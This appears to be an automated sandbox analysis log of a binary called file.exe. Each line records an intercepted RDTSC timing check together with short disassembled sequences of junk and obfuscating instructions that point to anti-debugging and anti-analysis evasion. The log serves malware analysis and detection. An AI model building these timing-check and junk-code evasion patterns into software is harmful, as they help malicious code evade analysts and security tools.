Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891AB5 second address: 891ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892AE0 second address: 892AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892AE6 second address: 892AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892AEB second address: 892B56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F7F1CE19AA8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 and bx, 1A73h 0x00000029 push 00000000h 0x0000002b mov bh, 3Fh 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F7F1CE19AA8h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 clc 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d ja 00007F7F1CE19AACh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893B0D second address: 893B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892D27 second address: 892D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894CD0 second address: 894CDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894CDF second address: 894CF0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895CBF second address: 895D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F7F1D21A768h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov ebx, dword ptr [ebp+122D338Fh] 0x0000002b push 00000000h 0x0000002d mov edi, dword ptr [ebp+122D32CAh] 0x00000033 push 00000000h 0x00000035 jl 00007F7F1D21A76Ch 0x0000003b mov edi, dword ptr [ebp+122D383Dh] 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 jo 00007F7F1D21A766h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895D0E second address: 895D12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895D12 second address: 895D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7F1D21A777h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jmp 00007F7F1D21A775h 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894F1E second address: 894F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896C62 second address: 896C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893DA5 second address: 893DB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893DB2 second address: 893DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897E17 second address: 897E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F1CE19AABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897F57 second address: 897F5D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898DD0 second address: 898DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89AC4B second address: 89AC4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898EB0 second address: 898EB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C29B second address: 89C29F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D899 second address: 89D89D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D89D second address: 89D8BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A76Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jnl 00007F7F1D21A76Ch 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CA82 second address: 89CA87 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89DA68 second address: 89DAAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A774h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7F1D21A773h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F7F1D21A777h 0x00000018 jmp 00007F7F1D21A771h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A786E second address: 8A7874 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6FCE second address: 8A6FED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007F7F1D21A766h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F7F1D21A76Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A73F9 second address: 8A73FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB718 second address: 8AB71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB85A second address: 8AB8B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7F1CE19AB4h 0x0000000b popad 0x0000000c push eax 0x0000000d ja 00007F7F1CE19ACFh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a ja 00007F7F1CE19AA6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB8B2 second address: 8AB8C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F1D21A76Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB8C8 second address: 8AB8CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB8CC second address: 8AB915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jnp 00007F7F1D21A77Ch 0x00000010 jmp 00007F7F1D21A776h 0x00000015 pushad 0x00000016 jmp 00007F7F1D21A775h 0x0000001b push edi 0x0000001c pop edi 0x0000001d popad 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push edi 0x00000024 push eax 0x00000025 push edx 0x00000026 push edx 0x00000027 pop edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB9CF second address: 8AB9D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1F70 second address: 8B1F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1F74 second address: 8B1F8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F7F1CE19AADh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1F8C second address: 8B1F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2471 second address: 8B2484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F7F1CE19AB2h 0x0000000b jc 00007F7F1CE19AACh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6DC2 second address: 8B6DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6DC6 second address: 8B6DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B74A2 second address: 8B74A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7766 second address: 8B776D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7DAF second address: 8B7DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1D21A76Eh 0x00000009 popad 0x0000000a jmp 00007F7F1D21A773h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7DDA second address: 8B7DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7DDE second address: 8B7E05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7F1D21A779h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F7F1D21A766h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB703 second address: 8BB709 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB709 second address: 8BB712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB712 second address: 8BB71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB71E second address: 8BB722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF7A8 second address: 8BF7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF7AE second address: 8BF7B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F6EA second address: 87F6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F7F3 second address: 87F7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F7FF second address: 87F80A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7F1CE19AA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F80A second address: 87F80F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FBA8 second address: 87FBAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FBAD second address: 87FBB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FD4F second address: 87FD54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FD54 second address: 87FD5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FD5A second address: 87FD99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 0727D3B3h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F7F1CE19AA8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 748BE90Fh 0x0000002e push esi 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FE49 second address: 87FE4F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FE4F second address: 87FE7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F7F1CE19AACh 0x00000012 je 00007F7F1CE19AA6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FE7A second address: 87FEBA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F1D21A768h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d add edx, dword ptr [ebp+122D3825h] 0x00000013 nop 0x00000014 pushad 0x00000015 pushad 0x00000016 jmp 00007F7F1D21A771h 0x0000001b jmp 00007F7F1D21A775h 0x00000020 popad 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FEBA second address: 87FEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FEC6 second address: 87FECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8801CC second address: 8801D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8806AC second address: 8806BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFEED second address: 8BFEF7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7F1CE19AA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFEF7 second address: 8BFF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFF03 second address: 8BFF07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0036 second address: 8C004E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7F1D21A771h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C004E second address: 8C005E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F1CE19AA6h 0x00000008 js 00007F7F1CE19AA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C005E second address: 8C006A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F7F1D21A766h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C006A second address: 8C006E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0341 second address: 8C034C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnp 00007F7F1D21A766h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C04C3 second address: 8C04C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C443F second address: 8C4443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4443 second address: 8C4458 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7F1CE19AA6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d ja 00007F7F1CE19AA6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8B6D second address: 8C8B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9038 second address: 8C903C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C903C second address: 8C9040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C91EB second address: 8C9206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9206 second address: 8C920A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C920A second address: 8C9210 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9210 second address: 8C922F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F1D21A779h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C94DA second address: 8C94E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C94E0 second address: 8C94FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F7F1D21A775h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCD3A second address: 8CCD3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCD3E second address: 8CCD42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8487A3 second address: 8487BA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F7F1CE19AABh 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC8C3 second address: 8CC8C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC8C7 second address: 8CC8CD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC8CD second address: 8CC8E2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F1D21A76Eh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF1C8 second address: 8CF1D6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CED72 second address: 8CED79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CED79 second address: 8CED8A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007F7F1CE19AAEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D363D second address: 8D365A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A779h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
